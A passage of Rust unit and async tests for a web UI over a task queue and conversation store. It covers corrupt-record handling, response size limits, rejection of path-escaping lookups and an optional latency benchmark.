23578        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23579        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23580        std::fs::write(&path, "broken").unwrap();
23581        assert!(ui.find_task_for_run("run-b").is_err());
23582        std::fs::write(&path, bytes).unwrap();
23583        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23584        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23585        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23586    }
23587
23588    #[tokio::test]
23589    async fn conversation_core_is_independent_of_unreadable_related_history() {
23590        let home = tempfile::tempdir().unwrap();
23591        let ui = delta_test_ui(home.path());
23592        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23593        std::fs::create_dir_all(ui.queue.root()).unwrap();
23594        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23595        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23596            .await
23597            .unwrap();
23598        assert_eq!(core.talk.id, id);
23599        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23600    }
23601
23602    #[tokio::test]
23603    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23604        let home = tempfile::tempdir().unwrap();
23605        let ui = delta_test_ui(home.path());
23606        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23607        let mut run = RunState::new(
23608            PathBuf::from("/repo"),
23609            "main".into(),
23610            "01234567".into(),
23611            "Useful run".into(),
23612            Config::default(),
23613        );
23614        run.save_under(home.path()).unwrap();
23615        let mut task = Task::new(
23616            "Related".into(),
23617            "body".into(),
23618            PathBuf::from("/repo"),
23619            Source::Agent {
23620                run: talk_id.clone(),
23621                node: "chat".into(),
23622            },
23623        );
23624        task.runs = vec![run.id.clone()];
23625        ui.queue.put(&mut task).unwrap();
23626        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23627        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23628        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23629        assert!(
23630            run_detail(State(ui.clone()), Path(run.id.clone()))
23631                .await
23632                .is_ok()
23633        );
23634        assert!(
23635            talk_sections(State(ui.clone()), Path(talk_id.clone()))
23636                .await
23637                .is_ok()
23638        );
23639        // Previously indexed corruption must not masquerade as no relationship.
23640        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23641        assert!(ui.find_task_for_run(&run.id).is_err());
23642        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
23643        ui.queue.put(&mut task).unwrap();
23644        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
23645    }
23646
23647    #[tokio::test]
23648    async fn conversation_sections_omit_large_task_instructions() {
23649        let home = tempfile::tempdir().unwrap();
23650        let ui = delta_test_ui(home.path());
23651        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23652        let mut task = Task::new(
23653            "filed task".into(),
23654            "large instruction ".repeat(65536),
23655            PathBuf::from("/repo"),
23656            Source::Agent {
23657                run: id.clone(),
23658                node: "chat".into(),
23659            },
23660        );
23661        ui.queue.put(&mut task).unwrap();
23662        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
23663        assert_eq!(sections["tasks"][0]["id"], task.id);
23664        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
23665        assert!(sections["tasks"][0].get("instruction").is_none());
23666        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
23667    }
23668
23669    #[test]
23670    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
23671        let home = tempfile::tempdir().unwrap();
23672        let talks = Talks::at(home.path().join("talks"));
23673        seed_talk_at(&talks, "20261019-000001-abcd", "open");
23674        seed_talk_at(&talks, "20261019-000002-abcd", "open");
23675        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
23676        assert!(resolve_talk(&talks, "../outside").is_err());
23677        assert!(resolve_talk(&talks, "abcd").is_err());
23678        assert_eq!(
23679            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
23680            "20261019-000001-abcd"
23681        );
23682    }
23683
23684    include!(concat!(
23685        env!("CARGO_MANIFEST_DIR"),
23686        "/tests/web_latency/baseline.rs"
23687    ));
23688
23689    include!(concat!(
23690        env!("CARGO_MANIFEST_DIR"),
23691        "/tests/web_latency/lists.rs"
23692    ));
23693
23694    #[tokio::test]
23695    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
23696    async fn web_history_latency_measurement() {
23697        use std::time::Instant;
23698        let home = tempfile::tempdir().unwrap();
23699        let ui = delta_test_ui(home.path());
23700        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23701        let mut template = ui.talks.get(&id).unwrap();
23702        template.turns = serde_json::from_value(serde_json::json!([{
23703            "who": "operator", "body": "Show the accumulated work and its current status.",
23704            "at": Timestamp::now().to_string(),
23705        }]))
23706        .unwrap();
23707        std::fs::write(
23708            ui.talks.path_of(&id),
23709            serde_json::to_vec(&template).unwrap(),
23710        )
23711        .unwrap();
23712        let count = std::env::var("MAGI_BENCH_RECORDS")
23713            .ok()
23714            .and_then(|s| s.parse::<usize>().ok())
23715            .unwrap_or(1000);
23716        for i in 0..count {
23717            template.id = format!("20261019-{i:06}-history");
23718            template.pending = "history ".repeat(2048);
23719            std::fs::write(
23720                ui.talks.path_of(&template.id),
23721                serde_json::to_vec(&template).unwrap(),
23722            )
23723            .unwrap();
23724            let mut task = Task::new(
23725                "old task".into(),
23726                "instruction ".repeat(2048),
23727                PathBuf::from("/repo"),
23728                Source::Human,
23729            );
23730            task.id = format!("20261019-{i:06}-task");
23731            ui.queue.put(&mut task).unwrap();
23732        }
23733        for baseline in [true, false] {
23734            for clients in [1, 4] {
23735                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
23736                let mut samples = Vec::new();
23737                for _ in 0..12 {
23738                    let mut jobs = Vec::new();
23739                    for _ in 0..clients {
23740                        let ui = ui.clone();
23741                        let id = id.clone();
23742                        jobs.push(tokio::spawn(async move {
23743                            let start = Instant::now();
23744                            if baseline {
23745                                let response =
23746                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
23747                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
23748                                return (
23749                                    elapsed,
23750                                    elapsed,
23751                                    serde_json::to_vec(&response).unwrap().len(),
23752                                );
23753                            }
23754                            let core = talk_core(State(ui.clone()), Path(id.clone()));
23755                            let secondary = talk_sections(State(ui), Path(id));
23756                            let (first, total) = tokio::join!(
23757                                async {
23758                                    let value = core.await.unwrap().0;
23759                                    (
23760                                        start.elapsed().as_secs_f64() * 1000.0,
23761                                        serde_json::to_vec(&value).unwrap().len(),
23762                                    )
23763                                },
23764                                async {
23765                                    let value = secondary.await.unwrap().0;
23766                                    (
23767                                        start.elapsed().as_secs_f64() * 1000.0,
23768                                        serde_json::to_vec(&value).unwrap().len(),
23769                                    )
23770                                }
23771                            );
23772                            (first.0, first.0.max(total.0), first.1 + total.1)
23773                        }));
23774                    }
23775                    for job in jobs {
23776                        samples.push(job.await.unwrap());
23777                    }
23778                }
23779                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
23780                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
23781                first.sort_by(f64::total_cmp);
23782                total.sort_by(f64::total_cmp);
23783                let n = first.len();
23784                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
23785                println!(
23786                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
23787                    first[n / 2],
23788                    first[(n * 95 / 100).min(n - 1)],
23789                    total[n / 2],
23790                    total[(n * 95 / 100).min(n - 1)],
23791                    samples[0].2
23792                );
23793            }
23794        }
23795    }
23796
23797    #[test]
23798    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
23799        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
23800        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
23801        assert!(APP_JS.contains("function nextRunRequest(id)"));
23802        assert!(APP_JS.contains("function runShell(id, summary)"));
23803        assert!(APP_JS.contains("function nextTaskRequest(id)"));
23804        assert!(APP_JS.contains("function taskShell(id, summary)"));
23805        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
23806    }
23807}